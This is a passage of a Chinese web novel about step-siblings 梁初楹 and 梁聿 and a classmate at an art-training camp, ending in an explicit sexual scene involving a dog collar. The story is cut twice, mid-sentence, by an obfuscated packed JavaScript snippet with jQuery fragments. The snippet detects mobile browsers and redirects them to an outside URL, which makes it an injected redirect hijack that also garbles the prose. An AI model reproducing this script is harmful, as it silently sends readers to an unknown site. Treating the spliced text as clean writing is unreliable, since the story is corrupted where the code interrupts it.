梁聿盯着她,梁初楹几秒后回神,躲避对碰的视线,察觉到他要说话,一手拉住窗户把手,另一只手里还捏着那半颗樱桃,也不知道当时怎么想的,下意识就慌里慌张地塞进他嘴里,以转移注意力。
起初他牙齿是合着的,所以推不进去,不多时就张开了,把那半颗吞进去,眉就皱了起来。
梁初楹心想,她这似乎也不算好脸色,还是故意作弄他了。
也许是欺负惯了?手很顺就把樱桃塞过去了……
“我从爸那儿拿的,甜不?”她心里虽然有些懊恼,面上却不显,架着两条胳膊,好整以暇地准备看他被酸倒的苦脸,结果梁聿的眉没皱到一秒就松了,抬眼细细瞧着她,把樱桃柄咬断,吐了字:
“甜。”
……甜才有鬼了,她才吃过的,酸得跟梅子一样。
梁初楹打了个寒噤:“你口味真怪。”
梁聿观察她的本领不是一般地强,他坐直身子,把倒下的台灯扶起来,稍一挑眉:“姐姐今天心情很好?”
梁初楹觉得奇怪:“你怎么知道?”
他“呵”一声:“连见我都带三分笑脸。”
这话一出,她“嘁”声:“我天天哪有那么多脾气发?你不烦我我一直都是笑脸,之前还不是以为你扔了我送的袄子才吵起来……”
说完,梁初楹反身往桌子边上靠了靠,两条腿滑出去,她盯着自己鞋尖,沉吟一下道:“梁聿,我再重申,我不讨厌你,如果你是因为你寄人篱下所以才来费心思讨好我,完全没必要。”
她扣弄着桌子边缘,视线偏开,声音变小:“你以为那样我就会感激你吗?”
刚说完这句,梁初楹闭一下眼,有点想撤回,明明才吃了教训打算谨言慎行的,结果一开口又是难听话。
跟刚才一样,明明是想关心他的,结果一晃神,半颗樱桃就强硬地塞他嘴里去了。
也难怪她总被人误会。
不过梁聿也不是第一天认识她了,姐姐那点小脾气他全知道。他拉一下唇角,笑了起来,眼睛都弯出两道弧:“没有别的目的。姐姐,我就不能是出于真心吗?”
梁初楹扭头看他,蓦地狠捏一下手指,随即表示怀疑:“我才不信,你太会骗人,很多事都不告诉我,我怎么相信你?”
“姐姐举个例子?”梁聿好整以暇。
梁初楹指出:“比如你和那个红头发的人,最近到底在干什么?”
房间突然安静了一瞬,冷得叫人有些发毛。
梁聿兀然看向她,轻声问:“你什么时候见过他?”
梁初楹不觉得这是什么不能说的事情。
“我那天就在你们房间隔壁唱歌,看见你最后进去了。”
她看着梁聿显得有些紧绷的表情,斟酌着措辞:“虽然你交什么样的朋友我管不着,但是还是想提醒你一句,跟不学好的人往来多了,小心把自己也带进泥坑里。”
“你在外面怎么玩儿是你的事情,但要是你出了麻烦,那还得牵涉到我们家。”梁初楹一边低声说着一边把眼神往一旁落去,“无论怎么说……你跟我都还算是家人,利益永远是相关的。”
梁聿一直没有出声,似乎在走神,视线极为沉重地下坠到指尖,薄软的指甲不停叩击桌面,发出细微的声音。
窗户弹开一个小缝,良久以后,梁聿才侧头,缓缓勾了一下唇角,向梁初楹承诺着:“当然不会,我跟他交往不深的,那天他拉着我去唱歌而已。”
“自己知道就好。”梁初楹两只手撑着桌子往前支,后腰离开他的桌子,临走时又想起什么,“对了,我下周就出去集训,一个半月不在家里,有的事你别忘了。”
梁聿显得有些迷惑:“嗯?”
梁初楹皱眉,责怪他:“送饭的事。”
“反正你也不用上课了,待在家里也是闲着,爱做饭就做呗,多做点,给祖佳琪也带一份。”
他轻声回绝:“不行。”
梁初楹感到纳闷:“之前不是你一个劲儿要给我送吗?现在怎么又不行了。”
“我做的东西只想给你吃,她吃什么我管不着也不想做。”梁聿的嗓音没什么起伏,“而且,我为你做这些,姐姐却连个阿贝贝都不给我,有点不划算了。”
“你做一份也是做,做两份不也是——”
“不。”他干脆利落。
梁初楹又被气到胸腔痛,她“呵”了一声:“行,我走之前剪一截头发留给你就行了吧。”
梁聿满眼笑:“那我也只做一份。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15206484|165016||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
”
“你到底要怎么样?”梁初楹第一次觉得他这么难说话,明明也不是什么大事。
梁聿始终不松口,态度甚至有些轻蔑:“她不配吃我做的东西,姐姐,我又不是为她学这些的。”
“那你是为了什么?不就是你自己喜欢做这些吗?”
梁聿直白盯着她,梁初楹脑子里突然就没有别的词了,张着嘴却如鲠在喉,最后只得闷声:“懒得跟你说……浪费我口水。”
“…………”
十月十六号,到了要拖行李箱去学校集合的那天。
梁初楹昨夜才着急忙慌把行李收拾出来,东西一团乱,在路上还散了一次,她一件件捡了回去。
因为东西多,梁庆赶在上班之前开车把她送到学校门口去,梁初楹把两个箱子塞进大巴底下的储物格里,爬上车以后就累倒了,把头上的帽子摘下来遮在脸上挡着光睡觉。
花荫街位处南阳区新开发的一块经济带,在街道正中的位置建了新的商圈,只不过现在还没有多少知名商户入驻,这边临靠海岸,有个大剧院,在开发之前主心骨是文娱产业,有不少歌手来开过演唱会。
上午没有课程,各自拖着行李箱去宿舍把床铺什么的都搭好,下午两点才正式开始集训,白天在楼下的空地,现在天气还没有完全冷下来,估计过一阵子就全移成室内课程了。
梁初楹把床单什么的都铺好了,祖佳琪踢开凳子,过来问她:“你家里每天都送饭吗?那我先去食堂了,晚了要排队。”
“等我去门口保安那儿领了饭盒再去食堂找你。”她晃了晃手机,“给我发个座位位置就行。”
祖佳琪跟她比了个“OK”的手势。
因为外人不能进出,东西都只能寄放在门卫处,梁初楹拎着保温袋就径直赶往食堂去找祖佳琪,发现那桌还有几个熟人。
食堂的桌子还挺大,面对面能坐六个人左右,祖佳琪坐在一边,对面是晏文韬和几个她眼熟的人,应该是几天前一起唱歌那群人里的两个。
梁初楹一边往祖佳琪身边坐一边用目光询问她,祖佳琪讪讪缩着脑袋,低头在手机上打字。
【蜡笔小琪】:“我不知道啊,他们刚来的,问我能不能坐,我也不能赶人家走啊。”
【蜡笔小琪】:“捶地哭泣.jpg”
晏文韬之前好像是有提过,他们诺雅画室这段时间也在这儿集训,教室就隔一条走廊,吃饭会碰一起,不过住宿楼的话男女会分楼层错开,搭不同的电梯上去。
这基地好像本就是诺雅画室自己的,本来就是专门干教育培训的机构,除了画画也有别的课程,为了挣钱所以也租给别的一些学校训练,南阳区的两所大学偶尔也会选在这里上实践课程,门口的大巴有好几辆。
梁初楹朝对面礼貌点了几下头,然后拆开自己的饭盒,晏文韬笑着打趣:“家里人还专门送饭过来?”
“我嘴刁。”
热雾黏在盖子上就凝成了水珠,揭开的时候都滴在桌子上,梁初楹大概扫了一眼,梁聿还真是很了解她每天想吃什么。
她昨天来了月经,每个月这段时间她都爱吃甜食,觉得糖分能提高人的精力,补气血,这习惯也维持好多年了。
梁聿连这时间都掐得准,第二层装的是红枣跟红糖一起熬的甜汤。
捧着糖水入口的瞬间,口袋里的手机震动起来,梁聿的消息也在最合适的时间出现。
【^-^】:“合口味吗?”
梁初楹放下碗,双手握着手机打字,目光专注地凝在手机屏幕上,对面的晏文韬抬眼盯了一瞬她的动作,顷刻间又把眼睫落下去。
【M】:“还不错。”
另外两个人已经吃完了,问晏文韬要不要一起回教室,晏文韬端起盘子跟梁初楹说话:“那我们先走了,晚上再一起吃饭。”
梁初楹愣了一下,心里不解为什么还要一起吃饭,但她还什么都没说,三个人就一起端着碗离开了。
掌心的手机又震动一下,她低头去看,梁聿拍了拍她:
【 ^-^拍了拍你并说自己是 good doggy】
她猛然想起这是之前自己故意弄着玩儿的,现在对象变成梁聿……就多了几分说不清道不明的意味。
【M】:“撤回。我重新设置一下。”
【^-^】:“不用,我已经看见了。”
【^-^】:“^-^”
这笑脸越看越揶揄,跟梁聿笑起来的时候长得一样,眯眯眼的……烦人。
梁初楹笑了一声,不回他了。
爱当狗就当……谁还拦着他?
14.变质(含入V公告)
因为她一直发消息,这顿午饭吃得漫长,一碗甜汤只喝了一半就冷掉了,梁初楹怕腹痛,冷了之后就不喝了,把饭盒洗干净以后又放到了保安室的窗户边上,晚上梁聿会来取。
昨天收拾了一晚上东西,压着行李箱才把拉链扣上,之后就累得睡着了,梁初楹来的第一天晚上就去公共浴室洗头洗澡,但是晚上还限电,要吹头发只能去楼下大厅的阿姨那儿插插座用。
经常也会有留在教室熬夜的学生,所以宿舍都是晚上十一点半才锁门禁止外出,晚上还有学生点外卖吃夜宵。
梁初楹在楼下把头发吹干,觉得这楼里暖气开得太热了,脑子都是昏的,想趁没锁门的时候出去透口气,没走出去几步就看见卷着画纸刚回来的晏文韬。
这天儿一到晚上气温就要再下降好几度,晏文韬穿得也厚实,外套的拉链拉到顶,毛茸茸的领子戳着他下巴。
“你还没睡?”晏文韬问她。
梁初楹指了指对面的一排桌凳,“里面太热了,我在外面坐坐,你才下课回来?”
晏文韬点几下头:“没画完就多留了一会儿,那一起坐一会儿?”
闻言她皱了眉:“你看上去也挺累的,早点回去休息吧,我一会儿就上去了。”
虽然她这样说着,晏文韬似乎没当回事,还是跟她坐在一起,把卷好的画搁在桌子上放着。
“不碍事。”
梁初楹的思维比较直,她问晏文韬:“你有事要跟我说?”
晏文韬好笑地叹口气:“没事就不能跟你一起坐一会儿?毕竟我们也算认识挺久了吧,这么不近人情?”
楼外的风确实大了不少,把树的枝子都吹得摇摇晃晃,晏文韬的头发对男性来说算很长的,掖进了领口里,就剩额前的一缕飘到眼皮上。
梁初楹刚洗好的头发也被吹得一团乱,晏文韬盯着看了一会儿,伸手帮她挡回去,期间似乎发现了什么,好奇问:“头发被剪毁了?有一截好短。”
“哦,这个啊。”梁初楹捉回手里,垂眸看了一眼,“剪下来送我弟弟了,他从小就捉着我头发才睡得着,说这是他的什么阿贝贝,真够稀奇的。”
晏文韬没说话,缓慢地把手收了回去,静了一瞬,然后夸奖她:“洗发水很好闻,是不是一直没换过?我记得去年也是这个味道。”
梁初楹有些惊奇地看着他:“我确实没换过,你怎么察觉的?”
“你不记得了?去年我们一起上过体育课,你在体育器材室里躲着睡觉,我在那儿看书,因为班主任坐在教室里,我那时候只能找个别的地方打发时间。”
在繁冗复杂的记忆里,那称得上是小得不能再小的一件事,但梁初楹确实还是记得的。
她后来偶尔也会想起,器材室里那双干净的琥珀色的眼睛。
那是在所谓的“暗恋”被辟谣以后。
梁初楹是个很受第一印象驱使的人,比如梁聿,她第一眼见他,出于身份跟危机感,觉得那人面相看上去就不是好招惹的善茬,因此一度看他十分不顺眼;而晏文韬跟梁聿完全不一样,晏文韬在跟她没什么交情的情况下出言维护过她,所以她对晏文韬印象就不错,将其划分进“好人”阵营里。
是去年七月初的事情了,天气热得不行,体育课还不准回教室,所有的学生都被逼着在树底下打羽毛球或者去篮球场打篮球,梁初楹受不了大热天还窜来窜去,说自己要拿球拍,进了器材室就躲着再没出去过。
那里面都是灰,晏文韬跟她们班是一个体育老师教的,要一起上体育课,两个人就撞上了。
里面没有安灯管,就开了一个脑袋大的窗户透气,光也是从那里照进来的,太阳一斜过来,能看清空气里那些上下漂浮的细微尘埃。
梁初楹好奇地问他什么书好看到躲起来也要看完,那时候晏文韬应当是不认识她的,但还是把书合上向她展示封面——波伏娃的《第二性》。
光斑落进布满灰尘的器材室内,像给漫长的时光开满了错落的洞,呼吸都从这些光洞中穿过。
乔木上栖着的六月蝉吱呀吱呀地乱叫,他们靠在一起看同一本书,远处有一阵又一阵迭起的欢呼,甚至能从叫喊的狂呼声中感受到夏季淋漓蒸腾的汗意,只是听听就觉得满是燥热。
“你为什么喜欢看这个?”梁初楹挪开少许,两只胳膊压在膝盖上问他。
晏文韬的指尖又翻过一页,笑了笑,只简单说:“兴趣吧,觉得很有意思。”
跟第一次见面的时候一样,梁初楹又盯着他看了几秒,觉得这个人怎么总是跟她见过的人不一样。
十几岁的男生,就她在班上采集的样本来说,长一脸青春痘,下课就抱在一起笑得很恶心,脏词和黄腔一个一个往外冒,有几个也喜欢躲在厕所抽烟,每次经过那些人身边都让人觉得难以忍受,成绩越差越过分,但不代表成绩好的就干净,所以她不喜欢跟那些男生往来。
也许是相处次数不多,她对晏文韬还不够了解,但心里总有个朦朦的印象,觉得他有点特别。
如果谈论回忆的话,似乎总是跟少年时代的夏天相关,但现在已经是第二年秋了,再追溯起来似乎也没有太多意义。
梁初楹恍然把回忆过了一遍,然后说:“你记性这么好?那点小事也记得。”
他挑一下眉,笑道:“不算小事吧,我印象还挺深的,你睡了一节课,跟猫一样打呼噜。”
梁初楹撇撇嘴,两条腿交叠在一起,心说原来是因为她打呼噜才被记住的。
“我还以为你一门心思只会谈恋爱。”她的声音不大,但还是被晏文韬捕捉到,他的身体肉眼可见地变僵,眼睛像石头一样艰难地转动了几下。
梁初楹自觉失言,两只手揣进兜里站起身来,作势要走:“呃……也不早了,回去休息吧。”
踏出去几步以后,身后传来晏文韬被风吹开的声音:“没有很多,就谈过陈姗绮一个人。”
梁初楹一静。
晏文韬垂眼盯着自己绞弄的手指,自顾自解释,也不论别人是不是真想听:“因为那段时间我很缺钱,陈姗绮喜欢我,说可以带我一起去德国念书,将来等我闯出名堂了再把钱还给她。”
他自嘲地扯动嘴角,眼皮不住颤抖:“这条件很诱惑人,我就答应她了。到德国没两个月,她新鲜劲过了,我和她就分手了。德国那边物价也很贵,一把尺子就要六欧,我一个人没坚持多久,就还是决定回国重考了。”
梁初楹咬了咬嘴唇,辩解着:“我没想问你这么多的。”
“我知道。”他坦然地站起来,拿起桌子上差点被风吹走的画,神情落寞,“我自己想说给你听的,当个笑话乐一乐就算了,没什么的。”
经过她身边的时候,他抬手拍了拍梁初楹的肩膀,“早点休息。”
晏文韬走在前面先一步替她把门拉开,两个人一前一后进了宿舍楼,梁初楹拢了拢自己的毛绒外套,然后往另一边走去。
她原意并不是要戳他痛处,倒是没想到他是因为这才分手的。
周六的晚上放了一个晚自习的假,可以提前回宿舍休息,也可以出基地去附近的街道转转,梁初楹跟祖佳琪一起出门,在小吃街转了一圈下来肚子都撑成圆的,她看了眼时间,担心逗留太久超过门禁,瞥见日期的时候愣了一下。
今天就是十月十九号了,她记得梁聿说过二十号要过生日。
就梁庆那个样子,大概率是不会给梁聿过的。
梁初楹沉思半晌,用指甲叩击着手机侧边,祖佳琪过来挽住她胳膊:“撑得我都迈不开脚了……看见什么都想吃,现在几点了,我们回去吗?”
“等一会儿吧,这片儿是不是新建了商圈来着?去那边凑凑热闹再回去吧。”她把手机摁灭,揣进口袋里,两个人叫了个车,十五分钟以后就到了商场。
因为才开业没多久,花荫街也
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15223884|165016||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
不算什么人流量大的地方,将近十点了商场都快歇业了,就剩寥寥几家店的灯还亮着,不过也都开始把门口摆的展示物往店里搬了。
祖佳琪哀声叹气:“商场都关灯了,来得有点晚,不然下次再……”
梁初楹还有些挣扎,抬着脑袋四处望了一下,看见只有内衣店跟宠物用品店还开着,内衣当然没办法送,梁初楹就往另外一家走去,本来想着说不定能买到什么猫猫狗狗的玩具,结果那家似乎是有名的牌子,她钱没剩那么多,只够买一条狗项圈。
出店以后,梁初楹苦大仇深地盯着手里的黑色皮质项圈,前半圈是皮的,后半圈是链子,还挂了个可以写名字的狗牌。
祖佳琪很好奇:“你家养狗了?”
她“嘶”了一声,颇为认真地问祖佳琪:“你觉得这东西……人能戴吗?”
祖佳琪看着她严肃的眼神,头顶缓慢冒出一个问号。
“这么大一个狗牌……”
梁初楹利落地把狗牌扯掉,两根手指套住往两边一扯,打量了一下:“这样呢?”
祖佳琪抿着唇憋笑,僵硬地点几下头:“你说这是choker也许可以瞒天过海。”
自己真是闲得没事干了才想着给梁聿那货买东西,梁初楹感到莫名头痛。
她磨了下牙齿,把狗链扔进纸袋里。
随便了,她到底为什么要认真给梁聿送礼物?他们关系又不好!
至少在梁初楹看来不算好。
她第二天就把东西跟饭盒放在一起让梁聿取走了。不知道梁聿手里是不是有她集训的作息表,不然很难解释怎么会在她刚准备睡觉的时候梁聿的电话就打了进来。
梁初楹怕吵到别人,第一次就挂断了,等到溜到走廊里以后才又给他拨了回去,把手机放在耳边,以为他打电话过来是要感谢她送的礼物,结果半晌没有听见声音,只有不知是被子还是衣物发出的细微摩擦声。
“你在干嘛?”梁初楹不悦皱眉,质问着,“怎么打个电话又不出声,有话快说,我好困了。”
“那是姐姐给我挑的生日礼物?”他开口时气声过重,从手机扬声器里似乎都漫出来一股呼吸的热气。
提及这个梁初楹突然感到紧张,如果真的被发现自己只是潦草地送了一条狗链出去,难免觉得害臊、没面子,于是她忍不住刻意伪装起来:“……当然,我挑了很久的,店里的人说是很多人买回去戴的饰品。”
也不知道这谎圆过去了没,她只听见对面鼻间发出轻笑,不紧不慢地反问:“是么?”
梁初楹不知道为什么也觉得热,把走廊的窗户拉开透气,风声传进梁聿的耳朵里,他连姐姐的呼吸都听不清,迭起的燥热感就退下去一些,梁聿伸出胳膊,拇指顶开薄荷硬糖的盖子,往嘴里倒了几颗,用后槽牙咬碎,垂着眼睫,眼底情绪晦暗不明,好听的声音也变得模糊难辨:“姐姐,我成年了。”
梁初楹似乎听不明白他的意思,他亲爱的姐姐总是一根筋,说话带一股令人喜爱的骄傲感:“成年怎么了?我还是比你大一岁。”
房间里只有他一个人,被子大半垂落在地,门窗都紧闭着,人体散发出的热意被囚禁其中,散不出去,于是越变越热,人像是被放在热锅上一样反复煎烤,汗和精都要被榨取出来。
书桌上的电脑还亮着,碟片被反复播放了三遍,暂停在他最喜欢的那句台词上。
梁聿支着身子半靠在床头,颇具意趣地将视线远移,唇齿里只剩清凉的薄荷味,他数了一下,本该套在脖子上的项圈,缠住柱身可以缠两圈,还过于窄了,紧紧勒着,泛起些许疼痛起来。
但他脸上显出轻微笑意,遏制住喘息,呢喃:“所以你就挑了个狗链送我?”
对面默不作声,没挂他电话就足够让梁聿高兴了,他想象着梁初楹脸上有趣的表情,差点连项圈都勒不住了。
“真把我当good doggy啊?”